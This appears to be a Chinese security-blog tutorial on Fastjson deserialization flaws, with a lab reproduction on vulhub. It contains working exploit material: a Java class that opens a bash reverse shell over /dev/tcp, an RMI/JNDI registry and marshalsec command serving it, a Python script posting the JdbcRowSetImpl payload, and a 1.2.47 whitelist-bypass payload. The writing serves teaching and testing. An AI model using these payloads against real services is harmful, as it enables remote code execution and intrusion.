freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Fastjson反序列化原理详解及复现
2023-05-05 18:03:05
所属地 北京

1 环境搭建

本文采用vulhub下的fastjson环境

# docker-compose up -d

访问8090端口判断是否能够正常启动
image.png

2 Fastjson漏洞原理

0x01 Fastjson简介

Fastjson为阿里开源的一款json字符串处理库,主要操作包含将java对象转换为json字符串(序列化)以及将json字符串转换为java对象(反序列化)

常用方法

  1. Json.toJSONString,将java对象转换为json字符串

  2. Json.parseObject,将json字符串转换为java对象

0x02 漏洞原理

首先看如下伪码示例

interface Animal{
    ...
}

class Cat implements Animal{
    public String name;
    ...
}
class Dog implements Animal{
    public String name;
    ...
}

利用Fastjson将Cat和Dog转为Json字符串时,分别为如下情况(假设Cat.name="cat",Dog.name="Dog")

{"Animal":{"name":"cat"}}{"Animal":{"name":"dog"}}
无法区分具体类,换言之,当对接口类的子类序列化时,只会显示出接口类的名称,因此,出现AutoType

AutoType:在反序列化时指定@type字段,具体区别当前json字符串属于哪一类,添加后,上述字符串变为
{"Animal":{"@type":"xxxx.Cat", "name":"cat"}}{"Animal":{"@type":"xxxx.Dog", "name":"dog"}}

漏洞原理:当使用autotype时,反序列化过程中会调用该类的setter或getter方法,若@type字段被指定为恶意类,即可实现恶意代码执行等攻击

0x03 JdbcRowSetImpl链

RMI架构

  1. registry,对外提供查询,维护server的方法映射

  2. server,对外提供服务,注册给registry

  3. client,请求远程方法调用,查询registry,调用server提供方法

原理分析

  1. DataSourceName设置为RMI远程调用后,Fastjson反序列化时触发getDataSourceName

  2. 由于其中无值,进入setDataSourceName,及setAutoCommit

  3. setAutoCommit中调用connect,connect中又调用lookup(DataSourceName),最终实现jndi注入

jndi注入RCE

  1. Reference r = new Reference(refClassName, insClassName, url)

  2. ReferenceWrapper rw = new ReferenceWrapper(r)

  3. registry.bind(name, rw)

当client利用rmi请求资源时,registry给到一个reference,client会先在CLASSPATH中找对应的类(refClassName),找不到则请求url中的资源动态加载(.class),实例化时(insClassName)会调用static{}和构造函数,实现恶意代码执行

0x04 TemplatesImpl链

CC链中比较常用的一种,用于动态加载bytecode,实现恶意代码执行,此处不做详细分析

大致原理为从TemplatesImpl.getOutputProperties开始,最终走到defineClass加载字节码,实现类加载,如果加载恶意类,将实现代码执行攻击

3 Fastjson漏洞复现

0x01 构建恶意类用于jndi注入

import java.lang.Runtime;
import java.lang.Process;

public class ReverseShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bahs","-c", "bash -i>& /dev/tcp/ip/port 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译为.class文件javac ReverseShell.java
image.png

开启http服务,使资源可以外部访问
image.png

创建Registry,并开启registry服务

public class myregistry {
    public static void main(String[] args) {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("ReverseShell","ReverseShell","http://ip:port");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("ReverseShell",referenceWrapper);
    }
}

不知道为什么自己写的没有生效(悲~),最终用的marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#ReverseShell" 9999
image.png

0x02 漏洞利用

利用过程如下

  1. kali侦听在对应端口

  2. 编写python脚本发送payload(因为java环境导致burp启动不了,所以只能编写python脚本,也可以用burp)

import json
import requests

url = ''
headers = {
    'Content-Type': 'application/json'
}
payload = {
    "b" : {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://ip:port/ReverseShell",
        "autoCommit": True
    }
}
requests.post(url, data=json.dumps(payload), headers=headers)
print("done")
  1. 成功getshell,http、registry请求分别如下
    image.png
    image.png
    image.png

4 其他版本漏洞

1.2.47:1.2.24后引入白名单验证,可以通过TypeUtils.loadClass将JdbcRowSetImpl缓存,再执行
payload为
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Exploit", "autoCommit":true } }
第一个字段用于缓存,第二个字段用于利用

5 防御

升级至新版本

# Java反序列化漏洞 # Fastjson反序列化漏洞 # Java反序列化漏洞分析 # FastJson 漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录